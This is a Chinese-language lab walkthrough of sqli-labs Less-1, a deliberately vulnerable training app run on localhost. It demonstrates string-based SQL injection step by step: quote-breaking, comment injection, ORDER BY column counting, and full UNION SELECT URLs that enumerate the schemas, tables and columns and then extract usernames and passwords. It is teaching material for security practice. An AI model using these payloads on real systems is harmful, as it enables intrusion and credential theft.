Less-1 字符型注入
页面如下:
我们先输入“?id=1'”看看结果:
页面显示错误信息中显示提交到sql中的“1'”在通过sql语句构造后形成“'1" LIMIT 0, 1”,其中多了一个“'”,那么,我们的任务就是——逃脱出单引号的控制,闭合单引号或注释掉单引号。
在MySql中,注释符有--、#、/***/、*/等等,这时我们在“1'”后面加上“#”试一试
成功注释单引号,现在进行联合查询,则需要知道联合查询的列数,使用“order by”检测列数,先测试是否有1列,再测试是否有4列,直到测试出正确列数,由下图可知,该联合查询有三列
现在使第一张表查询为空,则可查询出第二、三张表。“127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,2,3%20--+”
此时,将“2,3”换成MySql自带的函数,依然执行。“127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,user(),database()--+”
可知,第一个表库名为“security”,现在目标注入管理员账号密码,则首先需要管理员表表名与列名
查看数据库:127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata--+
查看security数据库的数据表:127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
查看users表的列:127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27--+
查看数据:127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=2--+